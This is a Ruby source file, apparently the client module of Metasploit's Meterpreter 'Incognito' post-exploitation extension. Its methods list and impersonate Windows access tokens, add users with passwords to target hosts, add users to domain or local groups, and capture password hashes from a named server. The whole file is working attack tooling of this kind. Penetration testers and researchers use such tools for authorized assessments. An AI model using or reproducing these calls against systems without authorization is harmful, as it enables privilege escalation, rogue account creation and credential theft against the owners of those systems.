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# -*- coding: binary -*-
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require 'rex/post/meterpreter/extensions/incognito/tlv'
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require 'rex/post/meterpreter/extensions/incognito/command_ids'
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module Rex
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module Post
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module Meterpreter
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module Extensions
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module Incognito
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###
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#
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# This meterpreter extensions a privilege escalation interface that is capable
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# of doing things like dumping password hashes and performing local
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# exploitation.
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#
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###
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class Incognito < Extension
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  def self.extension_id
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    EXTENSION_ID_INCOGNITO
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  end
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  def initialize(client)
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    super(client, 'incognito')
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    client.register_extension_aliases(
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      [
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        {
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          'name' => 'incognito',
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          'ext'  => self
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        },
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      ])
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  end
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  def incognito_list_tokens(token_order)
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    request = Packet.create_request(COMMAND_ID_INCOGNITO_LIST_TOKENS)
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    request.add_tlv(TLV_TYPE_INCOGNITO_LIST_TOKENS_ORDER, token_order)
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    response = client.send_request(request)
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    {
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      'delegation' => response.get_tlv_value(TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION),
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      'impersonation' => response.get_tlv_value(TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION)
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    }
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  end
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  def incognito_impersonate_token(username)
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    request = Packet.create_request(COMMAND_ID_INCOGNITO_IMPERSONATE_TOKEN)
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    request.add_tlv(TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN, username)
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    response = client.send_request(request)
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    response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)
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  end
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  def incognito_add_user(host, username, password)
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    request = Packet.create_request(COMMAND_ID_INCOGNITO_ADD_USER)
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    request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username)
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    request.add_tlv(TLV_TYPE_INCOGNITO_PASSWORD, password)
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    request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)
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    response = client.send_request(request)
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    response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)
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  end
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  def incognito_add_group_user(host, groupname, username)
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    request = Packet.create_request(COMMAND_ID_INCOGNITO_ADD_GROUP_USER)
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    request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username)
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    request.add_tlv(TLV_TYPE_INCOGNITO_GROUPNAME, groupname)
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    request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)
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    response = client.send_request(request)
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    response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)
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  end
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  def incognito_add_localgroup_user(host, groupname, username)
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    request = Packet.create_request(COMMAND_ID_INCOGNITO_ADD_LOCALGROUP_USER)
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    request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username)
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    request.add_tlv(TLV_TYPE_INCOGNITO_GROUPNAME, groupname)
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    request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)
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    response = client.send_request(request)
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    response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)
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  end
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  def incognito_snarf_hashes(host)
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    request = Packet.create_request(COMMAND_ID_INCOGNITO_SNARF_HASHES)
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    request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)
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    client.send_request(request)
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    true
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  end
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end
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end; end; end; end; end
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